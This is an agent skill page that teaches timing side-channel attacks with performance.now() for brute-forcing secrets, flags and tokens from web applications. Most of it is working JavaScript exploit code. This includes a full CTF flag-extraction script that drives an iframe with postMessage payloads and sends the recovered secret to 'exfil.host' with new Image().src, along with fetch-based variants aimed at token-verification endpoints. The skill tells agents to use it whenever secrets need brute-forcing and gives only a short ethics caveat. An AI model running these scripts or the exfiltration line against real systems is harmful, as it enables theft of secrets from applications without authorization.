# Timing Side Channel Attack

> How to perform timing-based side-channel attacks using performance.now() to extract hidden data from web applications. Use this skill whenever you need to brute-force secrets, flags, or sensitive data by measuring response time differences. Trigger this when the user mentions timing attacks, performance.now, side-channel extraction, CTF challenges with time-based vulnerabilities, or any scenario where response time correlates with secret data.

- Skill: `abelrguezr/timing-side-channel-attack` (Agent Skill, multi-file: 2 files)
- Install (CLI): `npx skillmds@latest add abelrguezr/timing-side-channel-attack`
- Raw SKILL.md: https://api.skillmd.com/api/skills/abelrguezr/timing-side-channel-attack/raw
- Safety review: pending
- Works with: Claude Code, Claude.ai, OpenAI Codex
- Category: Security
- Author: abelrguezr (https://skillmd.com/u/abelrguezr)
- Updated: 2026-09-10
- Page: https://skillmd.com/skills/abelrguezr/timing-side-channel-attack

---


# Timing Side-Channel Attacks with performance.now()

This skill teaches you how to exploit timing differences in web applications to extract secrets, flags, or sensitive data. When a server takes longer to respond for certain inputs (e.g., when a character matches), you can use `performance.now()` to measure these differences and brute-force the secret one character at a time.

## When to Use This Technique

Use timing side-channel attacks when:
- You suspect a server performs character-by-character comparison of secrets
- Response times vary based on input correctness (even by milliseconds)
- You're solving CTF challenges with time-based vulnerabilities
- Traditional brute-force is blocked but timing information leaks
- The application uses functions like `strcmp`, `===`, or similar that short-circuit on mismatch

## Core Concept

The attack works by:
1. Sending a request with a partial guess (e.g., `flag{a`)
2. Measuring the response time with `performance.now()`
3. If the time is significantly longer than baseline, the character was correct
4. Append the correct character and repeat
5. Continue until you've extracted the full secret

## Basic Implementation Pattern

```javascript
const sleep = (ms) => new Promise((res) => setTimeout(res, ms))

async function check(guess) {
  // Send request with the guess
  // Measure time before and after
  let t1 = performance.now()
  await sleep(1) // Small delay to ensure timing is captured
  return performance.now() - t1 > THRESHOLD
}
```

## Complete Example: CTF Flag Extraction

This example demonstrates extracting a flag from a vulnerable web application:

```javascript
const sleep = (ms) => new Promise((res) => setTimeout(res, ms))

async function check(flag) {
  let w = frame.contentWindow
  w.postMessage(
    { op: "preview", payload: '<img name="enable_experimental_features">' },
    "*"
  )
  await sleep(1)
  w.postMessage({ op: "search", payload: flag }, "*")
  let t1 = performance.now()
  await sleep(1)
  return performance.now() - t1 > 200
}

async function main() {
  let alpha =
    "abcdefghijklmnopqrstuvwxyz0123456789_ABCDEFGHIJKLMNOPQRSTUVWXYZ-}"
  window.frame = document.createElement("iframe")
  frame.width = "100%"
  frame.height = "700px"
  frame.src = "https://challenge.jsapi.tech/"
  document.body.appendChild(frame)
  await sleep(1000)

  let flag = "nite{"
  while (1) {
    for (let c of alpha) {
      let result = await Promise.race([
        check(flag + c),
        new Promise((res) =>
          setTimeout(() => {
            res(true)
          }, 300)
        ),
      ])
      console.log(flag + c, result)
      if (result) {
        flag += c
        break
      }
    }
    new Image().src = "//exfil.host/log?" + encodeURIComponent(flag)
  }
}

document.addEventListener("DOMContentLoaded", main)
```

## Key Components Explained

### 1. Character Set Definition
```javascript
let alpha = "abcdefghijklmnopqrstuvwxyz0123456789_ABCDEFGHIJKLMNOPQRSTUVWXYZ-}"
```
Define all possible characters in the order they might appear. Adjust based on the target's character set.

### 2. Timing Threshold
```javascript
return performance.now() - t1 > 200
```
The threshold (200ms in this example) should be calibrated based on:
- Network latency baseline
- Server processing time variance
- The actual timing difference between correct/incorrect characters

### 3. Timeout Protection
```javascript
Promise.race([
  check(flag + c),
  new Promise((res) => setTimeout(() => res(true), 300))
])
```
Prevents hanging on slow responses. Adjust timeout based on your threshold.

### 4. Progress Tracking
```javascript
new Image().src = "//exfil.host/log?" + encodeURIComponent(flag)
```
Optional: Exfiltrate progress to avoid losing work if the page reloads.

## Variations and Adaptations

### HTTP Request Version
```javascript
async function check(guess) {
  let t1 = performance.now()
  await fetch(`/api/verify?token=${guess}`)
  let t2 = performance.now()
  return t2 - t1 > THRESHOLD
}
```

### AJAX/Fetch Version
```javascript
async function check(guess) {
  let t1 = performance.now()
  const response = await fetch('/check', {
    method: 'POST',
    body: JSON.stringify({ input: guess })
  })
  await response.json()
  let t2 = performance.now()
  return t2 - t1 > THRESHOLD
}
```

### With Baseline Calibration
```javascript
async function calibrate() {
  let times = []
  for (let i = 0; i < 10; i++) {
    let t1 = performance.now()
    await fetch('/check?input=wrong')
    times.push(performance.now() - t1)
  }
  return Math.max(...times) + 50 // Add buffer
}

async function main() {
  THRESHOLD = await calibrate()
  // ... rest of attack
}
```

## Troubleshooting

### Timing Too Noisy
- Increase sample size: measure multiple times and use median
- Add more delay between measurements
- Run during low-traffic periods

### Attack Too Slow
- Reduce timeout values
- Parallelize character testing (if server allows)
- Narrow character set based on context

### False Positives
- Increase threshold
- Require multiple confirmations before accepting a character
- Add baseline calibration

### False Negatives
- Decrease threshold
- Check for server-side rate limiting
- Verify the timing difference actually exists

## Security Considerations

- Only use on systems you own or have explicit permission to test
- This technique is commonly used in CTF competitions and authorized penetration testing
- Many modern applications use constant-time comparison functions to prevent this attack
- Consider the ethical implications before deploying

## Related Techniques

- **Blind SQL Injection**: Similar character-by-character extraction
- **Error-based attacks**: Using error messages to extract data
- **Race conditions**: Exploiting timing in concurrent operations
- **Cache timing attacks**: Using cache hits/misses for timing information

